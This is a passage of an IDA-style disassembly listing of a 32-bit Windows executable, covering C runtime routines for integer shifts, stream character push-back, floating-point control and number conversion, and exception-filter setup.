		jmp	short loc_420B5D
sub_420ACB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420BA0	proc near		; CODE XREF: sub_41D0F0+797p
					; sub_41D0F0+7E7p
		cmp	cl, 40h
		jnb	short loc_420BBA
		cmp	cl, 20h
		jnb	short loc_420BB0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_420BB0:				; CODE XREF: sub_420BA0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_420BBA:				; CODE XREF: sub_420BA0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BBF	proc near		; CODE XREF: sub_41DB66+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420C0B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420BDD
		test	al, 80h
		jz	short loc_420C0B
		test	al, 2
		jnz	short loc_420C0B


loc_420BDD:				; CODE XREF: sub_420BBF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420BEA
		push	esi
		call	sub_4205F7
		pop	ecx


loc_420BEA:				; CODE XREF: sub_420BBF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420BFA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420C0B
		inc	eax
		mov	[esi], eax


loc_420BFA:				; CODE XREF: sub_420BBF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_420C11
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_420C17
		inc	eax
		mov	[esi], eax


loc_420C0B:				; CODE XREF: sub_420BBF+9j
					; sub_420BBF+18j ...
		or	eax, 0FFFFFFFFh


loc_420C0E:				; CODE XREF: sub_420BBF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BBF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_420C17:				; CODE XREF: sub_420BBF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420C0E
sub_420BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C2D	proc near		; CODE XREF: sub_41E156+52p
		xor	eax, eax
		retn
sub_420C2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420C30	proc near		; CODE XREF: sub_420C65+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_420C7B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_420D0D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420C30	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C65	proc near		; CODE XREF: sub_41E442+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420C30
		pop	ecx
		pop	ecx
		retn
sub_420C65	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7B	proc near		; CODE XREF: sub_420C30+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_420C8C
		push	10h
		pop	eax


loc_420C8C:				; CODE XREF: sub_420C7B+Cj
		test	bl, 4
		jz	short loc_420C93
		or	al, 8


loc_420C93:				; CODE XREF: sub_420C7B+14j
		test	bl, 8
		jz	short loc_420C9A
		or	al, 4


loc_420C9A:				; CODE XREF: sub_420C7B+1Bj
		test	bl, 10h
		jz	short loc_420CA1
		or	al, 2


loc_420CA1:				; CODE XREF: sub_420C7B+22j
		test	bl, 20h
		jz	short loc_420CA8
		or	al, 1


loc_420CA8:				; CODE XREF: sub_420C7B+29j
		test	bl, 2
		jz	short loc_420CB2
		or	eax, 80000h


loc_420CB2:				; CODE XREF: sub_420C7B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_420CEA
		cmp	edx, 400h
		jz	short loc_420CE7
		cmp	edx, 800h
		jz	short loc_420CE3
		cmp	edx, esi
		jnz	short loc_420CEA
		or	eax, edi
		jmp	short loc_420CEA
; ---------------------------------------------------------------------------


loc_420CE3:				; CODE XREF: sub_420C7B+5Ej
		or	eax, ebp
		jmp	short loc_420CEA
; ---------------------------------------------------------------------------


loc_420CE7:				; CODE XREF: sub_420C7B+56j
		or	ah, 1


loc_420CEA:				; CODE XREF: sub_420C7B+4Ej
					; sub_420C7B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_420CFA
		cmp	ecx, ebp
		jnz	short loc_420CFF
		or	eax, 10000h
		jmp	short loc_420CFF
; ---------------------------------------------------------------------------


loc_420CFA:				; CODE XREF: sub_420C7B+72j
		or	eax, 20000h


loc_420CFF:				; CODE XREF: sub_420C7B+76j
					; sub_420C7B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_420D0C
		or	eax, 40000h

locret_420D0C:				; CODE XREF: sub_420C7B+8Aj
		retn
sub_420C7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D0D	proc near		; CODE XREF: sub_420C30+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_420D1D
		push	1
		pop	eax


loc_420D1D:				; CODE XREF: sub_420D0D+Bj
		test	bl, 8
		jz	short loc_420D24
		or	al, 4


loc_420D24:				; CODE XREF: sub_420D0D+13j
		test	bl, 4
		jz	short loc_420D2B
		or	al, 8


loc_420D2B:				; CODE XREF: sub_420D0D+1Aj
		test	bl, 2
		jz	short loc_420D32
		or	al, 10h


loc_420D32:				; CODE XREF: sub_420D0D+21j
		test	bl, 1
		jz	short loc_420D39
		or	al, 20h


loc_420D39:				; CODE XREF: sub_420D0D+28j
		test	ebx, 80000h
		jz	short loc_420D43
		or	al, 2


loc_420D43:				; CODE XREF: sub_420D0D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_420D70
		cmp	ecx, 100h
		jz	short loc_420D6D
		cmp	ecx, esi
		jz	short loc_420D68
		cmp	ecx, edx
		jnz	short loc_420D70
		or	ah, 0Ch
		jmp	short loc_420D70
; ---------------------------------------------------------------------------


loc_420D68:				; CODE XREF: sub_420D0D+50j
		or	ah, 8
		jmp	short loc_420D70
; ---------------------------------------------------------------------------


loc_420D6D:				; CODE XREF: sub_420D0D+4Cj
		or	ah, 4


loc_420D70:				; CODE XREF: sub_420D0D+44j
					; sub_420D0D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_420D86
		cmp	ecx, 10000h
		jnz	short loc_420D88
		or	eax, esi
		jmp	short loc_420D88
; ---------------------------------------------------------------------------


loc_420D86:				; CODE XREF: sub_420D0D+6Bj
		or	eax, edx


loc_420D88:				; CODE XREF: sub_420D0D+73j
					; sub_420D0D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_420D95
		or	ah, 10h

locret_420D95:				; CODE XREF: sub_420D0D+83j
		retn
sub_420D0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D96	proc near		; CODE XREF: sub_420E35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_420DDB
		inc	esi
		cmp	esi, 3
		jge	short loc_420DD6
		lea	eax, [eax+esi*4]


loc_420DC8:				; CODE XREF: sub_420D96+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_420DDB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_420DC8


loc_420DD6:				; CODE XREF: sub_420D96+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420DDB:				; CODE XREF: sub_420D96+27j
					; sub_420D96+35j
		xor	eax, eax
		pop	esi
		retn
sub_420D96	endp


; =============== S U B	R O U T	I N E =======================================



sub_420DDF	proc near		; CODE XREF: sub_420E35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421C60
		add	esp, 0Ch
		dec	esi
		js	short loc_420E31
		lea	edi, [ebx+esi*4]


loc_420E18:				; CODE XREF: sub_420DDF+50j
		test	eax, eax
		jz	short loc_420E31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421C60
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_420E18


loc_420E31:				; CODE XREF: sub_420DDF+34j
					; sub_420DDF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420DDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E35	proc near		; CODE XREF: sub_420F90+81p
					; sub_420F90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_420E99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_420D96
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420E96
		push	edi
		push	[ebp+arg_0]
		call	sub_420DDF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_420E96:				; CODE XREF: sub_420E35+51j
		mov	eax, [ebp+arg_4]


loc_420E99:				; CODE XREF: sub_420E35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_420EB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_420EB9:				; CODE XREF: sub_420E35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420E35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EC1	proc near		; CODE XREF: sub_420F90+75p
					; sub_420F90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_420ECF:				; CODE XREF: sub_420EC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420ECF
		pop	esi
		retn
sub_420EC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EDC	proc near		; CODE XREF: sub_420F90+5Fp
					; sub_420F90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_420EDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EE8	proc near		; CODE XREF: sub_420F90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_420EEE:				; CODE XREF: sub_420EE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420F00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420EEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_420F00:				; CODE XREF: sub_420EE8+9j
		xor	eax, eax
		retn
sub_420EE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F03	proc near		; CODE XREF: sub_420F90+C0p
					; sub_420F90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_420F39:				; CODE XREF: sub_420F03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_420F39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_420F6B:				; CODE XREF: sub_420F03+86j
		cmp	ebx, edi
		jl	short loc_420F7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_420F85
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_420F85:				; CODE XREF: sub_420F03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_420F6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420F03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F90	proc near		; CODE XREF: sub_4210FC+Dp
					; sub_421112+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_420FFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_420EE8
		test	eax, eax
		pop	ecx
		jnz	loc_4210BC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420EDC
		pop	ecx


loc_420FF5:				; CODE XREF: sub_420F90+E4j
		push	2


loc_420FF7:				; CODE XREF: sub_420F90+110j
		pop	eax
		jmp	loc_4210BE
; ---------------------------------------------------------------------------


loc_420FFD:				; CODE XREF: sub_420F90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420EC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420E35
		add	esp, 10h
		test	eax, eax
		jz	short loc_42101E
		inc	ebx


loc_42101E:				; CODE XREF: sub_420F90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_421036
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420EDC
		pop	ecx
		jmp	short loc_421072
; ---------------------------------------------------------------------------


loc_421036:				; CODE XREF: sub_420F90+98j
		cmp	ebx, eax
		jg	short loc_421079
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420EC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420F03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420E35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420F03
		add	esp, 20h


loc_421072:				; CODE XREF: sub_420F90+A4j
		xor	esi, esi
		jmp	loc_420FF5
; ---------------------------------------------------------------------------


loc_421079:				; CODE XREF: sub_420F90+A8j
		cmp	ebx, [edi]
		jl	short loc_4210A5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420EDC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420F03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420FF7
; ---------------------------------------------------------------------------


loc_4210A5:				; CODE XREF: sub_420F90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420F03
		pop	ecx
		pop	ecx


loc_4210BC:				; CODE XREF: sub_420F90+55j
		xor	eax, eax


loc_4210BE:				; CODE XREF: sub_420F90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4210ED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4210F7
; ---------------------------------------------------------------------------


loc_4210ED:				; CODE XREF: sub_420F90+14Ej
		cmp	edi, 20h
		jnz	short loc_4210F7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4210F7:				; CODE XREF: sub_420F90+15Bj
					; sub_420F90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_4210FC	proc near		; CODE XREF: sub_421128+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43FC08
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_420F90
		add	esp, 0Ch
		retn
sub_4210FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_421112	proc near		; CODE XREF: sub_421155+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43FC20
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_420F90
		add	esp, 0Ch
		retn
sub_421112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421128	proc near		; CODE XREF: sub_41E57B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_421E01
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4210FC
		add	esp, 24h
		leave
		retn
sub_421128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421155	proc near		; CODE XREF: sub_41E57B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_421E01
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_421112
		add	esp, 24h
		leave
		retn
sub_421155	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421182	proc near		; CODE XREF: sub_41E5B9+65p
					; sub_41E6BD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4211BF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4211A5:				; CODE XREF: sub_421182+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4211B1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4211B4
; ---------------------------------------------------------------------------


loc_4211B1:				; CODE XREF: sub_421182+27j
		push	30h
		pop	edx


loc_4211B4:				; CODE XREF: sub_421182+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4211A5
		mov	edx, [ebp+arg_8]


loc_4211BF:				; CODE XREF: sub_421182+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4211D8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4211D8


loc_4211CB:				; CODE XREF: sub_421182+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4211D6
		mov	byte ptr [eax],	30h
		jmp	short loc_4211CB
; ---------------------------------------------------------------------------


loc_4211D6:				; CODE XREF: sub_421182+4Dj
		inc	byte ptr [eax]


loc_4211D8:				; CODE XREF: sub_421182+42j
					; sub_421182+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4211E2
		inc	dword ptr [edx+4]
		jmp	short loc_4211F4
; ---------------------------------------------------------------------------


loc_4211E2:				; CODE XREF: sub_421182+59j
		push	edi
		call	sub_417D40
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4199F0
		add	esp, 10h


loc_4211F4:				; CODE XREF: sub_421182+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421182	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F9	proc near		; CODE XREF: sub_41E5B9+3Fp
					; sub_41E6BD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42125D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DCF70
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4222D2
		mov	dword_4DCF98, eax
		add	esp, 18h
		movsx	eax, byte_4DCF72
		mov	dword_4DCF90, eax
		pop	edi
		movsx	eax, word_4DCF70
		mov	dword_4DCF94, eax
		mov	dword_4DCF9C, offset dword_4DCF74
		mov	eax, offset dword_4DCF90
		pop	esi
		leave
		retn
sub_4211F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42125D	proc near		; CODE XREF: sub_4211F9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4212AB
		cmp	ebx, edi
		jz	short loc_4212A4
		lea	edi, [ecx+3C00h]
		jmp	short loc_4212CC
; ---------------------------------------------------------------------------


loc_4212A4:				; CODE XREF: sub_42125D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4212CC
; ---------------------------------------------------------------------------


loc_4212AB:				; CODE XREF: sub_42125D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4212C3
		cmp	edx, ebx
		jnz	short loc_4212C3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42130E
; ---------------------------------------------------------------------------


loc_4212C3:				; CODE XREF: sub_42125D+52j
					; sub_42125D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4212CC:				; CODE XREF: sub_42125D+45j
					; sub_42125D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4212E4:				; CODE XREF: sub_42125D+A6j
		test	ecx, esi
		jnz	short loc_421305
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4212E4
; ---------------------------------------------------------------------------


loc_421305:				; CODE XREF: sub_42125D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42130E:				; CODE XREF: sub_42125D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42125D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41A609
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42131C	proc near		; DATA XREF: sub_421362o
					; .nsp0:0043F848o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42133F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42133F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42133F
		jmp	sub_41F13C
; ---------------------------------------------------------------------------


loc_42133F:				; CODE XREF: sub_42131C+Dj
					; sub_42131C+13j ...
		mov	eax, dword_4DCFA0
		test	eax, eax
		jz	short loc_42135C
		push	eax
		call	sub_4213B8
		test	eax, eax
		pop	ecx
		jz	short loc_42135C
		push	esi
		call	dword_4DCFA0
		jmp	short loc_42135E
; ---------------------------------------------------------------------------


loc_42135C:				; CODE XREF: sub_42131C+2Aj
					; sub_42131C+35j
		xor	eax, eax


loc_42135E:				; CODE XREF: sub_42131C+3Ej
		pop	esi
		retn	4
sub_42131C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421362	proc near		; DATA XREF: .nsp0:0042602Co
		push	offset sub_42131C
		call	dword_42401C	; SetUnhandledExceptionFilter
		mov	dword_4DCFA0, eax
		retn
sub_421362	endp


; =============== S U B	R O U T	I N E =======================================



sub_421373	proc near		; DATA XREF: .nsp0:00426044o
		push	dword_4DCFA0
		call	dword_42401C	; SetUnhandledExceptionFilter
		retn
sub_421373	endp


; =============== S U B	R O U T	I N E =======================================



sub_421380	proc near		; CODE XREF: sub_41E991+6Bp
					; sub_41EEA2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_424018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_421398
		xor	esi, esi


loc_421398:				; CODE XREF: sub_421380+14j
		mov	eax, esi
		pop	esi
		retn
